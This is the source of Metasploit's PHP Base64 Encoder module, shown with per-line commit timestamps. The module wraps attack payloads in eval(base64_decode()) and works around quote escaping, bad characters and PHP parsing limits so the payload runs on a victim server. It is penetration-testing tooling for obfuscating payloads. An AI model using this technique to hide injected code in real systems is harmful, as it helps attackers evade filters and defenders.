2008-07-01 01:44:56 +00:00
|
|
|
##
|
2017-07-24 06:26:21 -07:00
|
|
|
# This module requires Metasploit: https://metasploit.com/download
|
2013-10-15 13:50:46 -05:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2008-07-01 01:44:56 +00:00
|
|
|
##
|
|
|
|
|
|
2016-03-08 14:02:44 +01:00
|
|
|
class MetasploitModule < Msf::Encoder
|
2010-07-20 06:27:14 +00:00
|
|
|
Rank = GreatRanking
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2008-07-01 01:44:56 +00:00
|
|
|
def initialize
|
|
|
|
|
super(
|
2023-03-02 21:43:41 +01:00
|
|
|
'Name' => 'PHP Base64 Encoder',
|
|
|
|
|
'Description' => %q{
|
2008-07-01 01:44:56 +00:00
|
|
|
This encoder returns a base64 string encapsulated in
|
2009-04-19 02:31:34 +00:00
|
|
|
eval(base64_decode()), increasing the size by a bit more than
|
|
|
|
|
one third.
|
2008-07-01 01:44:56 +00:00
|
|
|
},
|
2023-03-02 21:43:41 +01:00
|
|
|
'Author' => 'egypt',
|
|
|
|
|
'License' => BSD_LICENSE,
|
|
|
|
|
'Arch' => ARCH_PHP)
|
2008-07-01 01:44:56 +00:00
|
|
|
end
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2008-07-01 01:44:56 +00:00
|
|
|
def encode_block(state, buf)
|
2010-06-23 08:23:00 +00:00
|
|
|
# Have to have these for the decoder stub, so if they're not available,
|
|
|
|
|
# there's nothing we can do here.
|
2023-03-02 21:43:41 +01:00
|
|
|
%w[c h r ( ) . e v a l b a s e 6 4 _ d e c o d e ;].uniq.each do |c|
|
2015-05-18 15:25:26 -05:00
|
|
|
raise BadcharError if state.badchars.include?(c)
|
2010-06-23 08:23:00 +00:00
|
|
|
end
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2023-03-02 17:46:21 -06:00
|
|
|
# Modern versions of PHP choke on unquoted literal strings.
|
2023-03-02 21:40:27 +01:00
|
|
|
quote = "'"
|
|
|
|
|
if state.badchars.include?("'")
|
2023-03-02 17:46:21 -06:00
|
|
|
raise BadcharError.new, "The #{self.name} encoder failed to encode the decoder stub without bad characters." if state.badchars.include?('"')
|
2023-03-02 21:43:41 +01:00
|
|
|
|
2023-03-02 21:40:27 +01:00
|
|
|
quote = '"'
|
|
|
|
|
end
|
|
|
|
|
|
2008-07-01 01:44:56 +00:00
|
|
|
# PHP escapes quotes by default with magic_quotes_gpc, so we use some
|
|
|
|
|
# tricks to get around using them.
|
|
|
|
|
#
|
|
|
|
|
# The raw, unquoted base64 without the terminating equals works because
|
|
|
|
|
# PHP treats it like a string. There are, however, a couple of caveats
|
|
|
|
|
# because first, PHP tries to parse the bare string as a constant.
|
|
|
|
|
# Because of this, the string is limited to things that can be
|
|
|
|
|
# identifiers, i.e., things that start with [a-zA-Z] and contain only
|
|
|
|
|
# [a-zA-Z0-9_]. Also, for payloads that encode to more than 998
|
|
|
|
|
# characters, only part of the payload gets unencoded on the victim,
|
2009-04-19 02:31:34 +00:00
|
|
|
# presumably due to a limitation in PHP identifier name lengths, so we
|
|
|
|
|
# break the encoded payload into roughly 900-byte chunks.
|
2018-07-10 17:40:31 -05:00
|
|
|
#
|
|
|
|
|
# https://wiki.php.net/rfc/deprecate-bareword-strings
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2008-07-01 01:44:56 +00:00
|
|
|
b64 = Rex::Text.encode_base64(buf)
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2008-07-01 01:44:56 +00:00
|
|
|
# The '=' or '==' used for padding at the end of the base64 encoded
|
|
|
|
|
# data is unnecessary and can cause parse errors when we use it as a
|
|
|
|
|
# raw string, so strip it off.
|
|
|
|
|
b64.gsub!(/[=\n]+/, '')
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2009-04-19 02:31:34 +00:00
|
|
|
# The first character must not be a non-alpha character or PHP chokes.
|
|
|
|
|
i = 0
|
2023-03-02 21:43:41 +01:00
|
|
|
b64[i] = "chr(#{b64[i]})." while (b64[i].chr =~ %r{[0-9/+]})
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2024-01-07 14:06:31 -05:00
|
|
|
# Similarly, when we separate large payloads into chunks to avoid the
|
2009-04-19 02:31:34 +00:00
|
|
|
# 998-byte problem mentioned above, we have to make sure that the first
|
|
|
|
|
# character of each chunk is an alpha character. This simple algorithm
|
|
|
|
|
# will create a broken string in the case of 99 consecutive digits,
|
|
|
|
|
# slashes, and plusses in the base64 encoding, but the likelihood of
|
|
|
|
|
# that is low enough that I don't care.
|
2023-03-02 21:43:41 +01:00
|
|
|
i = 900
|
2008-07-01 01:44:56 +00:00
|
|
|
while i < b64.length
|
2023-03-02 21:43:41 +01:00
|
|
|
i += 1 while (b64[i].chr =~ %r{[0-9/+]})
|
|
|
|
|
b64.insert(i, '.')
|
2008-07-01 01:44:56 +00:00
|
|
|
i += 900
|
|
|
|
|
end
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2009-04-19 02:31:34 +00:00
|
|
|
# Plus characters ('+') in a uri are converted to spaces, so replace
|
|
|
|
|
# them with something that PHP will turn into a plus. Slashes cause
|
|
|
|
|
# parse errors on the server side, so do the same for them.
|
2023-03-02 21:43:41 +01:00
|
|
|
b64.gsub!('+', '.chr(43).')
|
|
|
|
|
b64.gsub!('/', '.chr(47).')
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2010-06-23 08:23:00 +00:00
|
|
|
state.badchars.each_byte do |byte|
|
2011-02-22 01:59:17 +00:00
|
|
|
# Last ditch effort, if any of the normal characters used by base64
|
|
|
|
|
# are badchars, try to replace them with something that will become
|
|
|
|
|
# the appropriate thing on the other side.
|
2010-07-01 23:33:07 +00:00
|
|
|
if b64.include?(byte.chr)
|
2010-06-23 08:23:00 +00:00
|
|
|
b64.gsub!(byte.chr, ".chr(#{byte}).")
|
|
|
|
|
end
|
|
|
|
|
end
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2009-04-30 06:11:56 +00:00
|
|
|
# In the case where a plus or slash happened at the end of a chunk,
|
|
|
|
|
# we'll have two dots next to each other, so fix it up. Note that this
|
|
|
|
|
# is searching for literal dots, not a regex matching any two
|
|
|
|
|
# characters
|
2023-03-02 21:43:41 +01:00
|
|
|
b64.gsub!('..', '.')
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2011-02-22 01:59:17 +00:00
|
|
|
# Some of the shenanigans above could have appended a dot, which will
|
|
|
|
|
# cause a syntax error. Remove any trailing dots.
|
2023-03-02 21:43:41 +01:00
|
|
|
b64.chomp!('.')
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2023-03-02 21:43:41 +01:00
|
|
|
return 'eval(base64_decode(' + quote + b64 + quote + '));'
|
2008-07-01 01:44:56 +00:00
|
|
|
end
|
2009-04-19 02:31:34 +00:00
|
|
|
end
|